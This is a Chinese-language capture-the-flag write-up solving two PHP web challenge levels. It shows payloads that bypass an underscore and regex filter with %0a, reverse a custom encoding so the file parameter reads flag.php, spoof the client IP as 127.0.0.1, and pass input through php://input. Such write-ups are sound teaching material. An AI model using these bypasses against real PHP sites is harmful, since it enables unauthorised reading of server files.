0X00 第一关
查看源码,代码如下:
$query = $_SERVER['QUERY_STRING']; if( substr_count($query, '_') !== 0 || substr_count($query, '%5f') != 0 ){ die('Y0u are So cutE!'); } if($_GET['b_u_p_t'] !== '23333' && preg_match('/^23333$/', $_GET['b_u_p_t'])){ echo "you are going to the next ~"; }
简单分析:
⚪$_SERVER[‘QUERY_STRING’]:查询(query)的字符串。例如https://www.shawroot.cc/?tags/upload,那么$_SERVER[“QUERY_STRING”] = “tags/upload″。
⚪substr_count():计算字符串出现的次数。%5f就是“_”的十六进制。
也就是正常传参,“?”后面的$_SERVER[‘QUERY_STRING’]都会照单全收比较难受,查阅了资料:
可以使用“%20”、“.”代替下划线,因为这里计算的是“%5f”的次数,十六进制不区分大小写,也可以使用“%5F”去绕过。
看第二个判断条件:
⚪内容不能是“23333”。
⚪执行匹配正则表达式,想到达下一关$_GET[‘b_u_p_t’]的值必须是23333。
%0a即换行符的url编码,在preg_match没启动/s模式(单行匹配模式)时,正则表达式是无法匹配换行符(%0a,\n)的,且会自动忽略末尾的换行符。
利用以上特性,第一关payload可以是:
?b%20u%20p%20t=23333%0a
也可以是:
?b.u.p.t=23333%0a
0X01 第二关
上一关给了提示:FLAG is in secrettw.php。访问它,页面只有两句话:
Flag is here~But how to get it?Local access only!
Sorry,you don’t have permission! Your ip is :sorry,this way is banned!
源代码还有一大坨jsf**k,解码得到以下内容:

按照要求POST一个Merak,参数值随便,得到源代码:
<?php error_reporting(0); include 'takeip.php'; ini_set('open_basedir','.'); include 'flag.php'; if(isset($_POST['Merak'])){ highlight_file(__FILE__); die(); } function change($v){ $v = base64_decode($v); $re = ''; for($i=0;$i<strlen($v);$i++){ $re .= chr ( ord ($v[$i]) + $i*2 ); } return $re; } echo 'Local access only!'."<br/>"; $ip = getIp(); if($ip!='127.0.0.1') echo "Sorry,you don't have permission! Your ip is :".$ip; if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' ){ echo "Your REQUEST is:".change($_GET['file']); echo file_get_contents(change($_GET['file'])); } ?>
思路很明显了,最后一行:
echo file_get_contents(change($_GET['file']));
必须要“file_get_contents(flag.php)”。正常是$_GET[‘file’]=flag.php,但是对其使用change函数做了处理:
function change($v){ $v = base64_decode($v); $re = ''; for($i=0;$i<strlen($v);$i++){ $re .= chr ( ord ($v[$i]) + $i*2 ); } return $re; }
首先将传入的值进行base64解码,然后逐位进行处理。反写:
<?php function unchange($v){ $re = ''; for($i=0;$i<strlen($v);$i++){ $re .= chr ( ord ($v[$i]) - $i*2 ); } return base64_encode($re); } echo unchange("flag.php"); ?>
运行后得到file参数应该传入的值是“ZmpdYSZmXGI=”。
if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' )
老生常谈的换IP。$_GET[‘2333’]考虑php://input,POST的值todat is a happy day这都没啥说的:
